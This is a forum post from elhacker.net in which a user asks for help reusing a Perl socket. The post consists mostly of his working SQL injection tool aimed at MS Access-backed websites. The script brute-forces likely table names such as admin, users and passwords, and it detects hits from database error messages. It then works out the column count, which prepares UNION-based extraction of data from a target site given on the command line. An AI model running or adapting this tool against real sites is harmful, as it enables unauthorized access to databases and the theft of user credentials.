elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  AIS: Access Injection SQL -- PERL
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: AIS: Access Injection SQL -- PERL  (Leído 2,123 veces)
MagnoBalt

Desconectado Desconectado

Mensajes: 58


Los Buenos Artitas Copian, los Grandes Roban


Ver Perfil
AIS: Access Injection SQL -- PERL
« en: 16 Julio 2009, 04:06 am »

Hola estoy teniendo un problema en perl. Estoy haciendo script  y para practicar socket decidi hacer una tool que inyecte codigo SQL a un motor de ACCESS. Ahora la cuestion es que no se como hacer para que cuando realizo el SOCKET con una pagina "A" (la cual es la vulnerable a inyecciones), ese mismo socket me sirva para realizar todas las inyecciones que nesesite. Sin volver a crear el objeto nuevamente.  
Este es mi script. Si se fijan en cada inyeccion creo un nuevo socket llamando a la funcion socket,y le paso como parametro el GET de la pagina q deseo obtener (que vendria hacer la inyeccion q mando por URL)
Creo q esto esta mal.. alguien me podria ayudar..
Como seria crear una sola vez el Socket y luego usar Los GET que quisiera

Código
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. @nombretabla=('admin','tblUsers','usuarios','tblAdmin','user','users','username','usernames','usuario',
  4.  'name','names','nombre','nombres','member','members','admin_table',
  5.  'miembro','miembros','membername','admins','administrator','accesos',
  6.  'administrators','passwd','password','passwords','pass','Pass',
  7.  'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
  8.  'member_password','mods','mod','moderators','moderator','user_email',
  9.  'user_emails','user_mail','user_mails','mail','emails','email','address',
  10.  'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
  11.  'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  12.  'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
  13.  'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  14.  'sistema_usuario','sistema_password','contraseña','auth','key','senha',
  15.  'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
  16.      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
  17.      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
  18.      'associated','accnt','customers','customer','membres','administrateur','utilisateur',
  19.      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
  20.      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
  21.  'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
  22. sub socket{
  23.    my $inyec= shift;
  24. $socket = new IO::Socket::INET(
  25. PeerAddr => $host,
  26. PeerPort => 'http(80)',
  27. Proto => 'tcp') || die "[-] No se ha podido conectar a $host";
  28. print $socket "GET " .$path.$inyec.$tabla. " HTTP/1.0\r\n";
  29. print $socket "HOST:$host\r\n";
  30. print $socket "\n\n";
  31. return $socket;
  32.  }
  33.  
  34. if (!@ARGV[1]) {
  35.      print "======================================================= \n";
  36.      print " Injection AIS V 1.0 beta by MagnoBalt \n\n";
  37.      print " use perl $0 www.pagina.com.ar /noticia.php?id=\n\n";
  38.  print " AIS:Acces Injection SQL \n";
  39.      print "======================================================= \n";
  40.      exit(0);
  41.      }
  42. $host =@ARGV[0];
  43. $path=@ARGV[1];
  44. print "\n[-]Buscando Tablas \n";
  45. $iny="-1+UNION+SELECT+0+FROM+";
  46. #print "antes de la funcion valor $iny\n";
  47. foreach $tabla(@nombretabla) {
  48.  chomp($tabla);  
  49.  #empuezo a guardar linea por linea el source en $response
  50.  $socket=&socket($iny);
  51.  while (<$socket>) {$response .= "$_ "}
  52.  if($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de uni&#38;#243;n no coincide/)
  53. {
  54. print "[+]Tabla $tabla FOUND\n";
  55. $tabla_aux=$tabla;
  56.    }
  57. #print $response;
  58. $response="";#limpio la variable
  59. }#cierrre foreach
  60. $inyc="";
  61. #buscamos numeros de columnas
  62. print "[-]Buscando columnas\n";
  63. print "[-]Ingrese Maximo con cual intentar \n";
  64. $col.=<STDIN>;
  65. chomp($col);
  66. print "[-]Buscando..\n";
  67. $columna=1;
  68. while ($columna <= $col) {
  69. $union.=','.$columna;
  70. $iny="-1+UNION+SELECT+0".$union."+FROM+".$tabla_aux;
  71. $socket=&socket($iny);
  72. while (<$socket>) { $response .= "$_ "}
  73. #print $response;
  74. if ($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de uni&#38;#243;n no coincide/)
  75. {
  76. print "[!] Fallo intento columna $columna\n";
  77. }
  78. else {
  79. $columna++;
  80. print "[+]La Web Posee $columna columnas\n ";
  81. $columna = $col;#fuerzo la salida del while.
  82. }
  83. $response="";#limpio la variable
  84. $columna++;
  85. }
  86.  
  87.  
  88.  
  89. close $socket;
  90. exit(0);
  91.  
  92.  
  93.  
  94.  


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines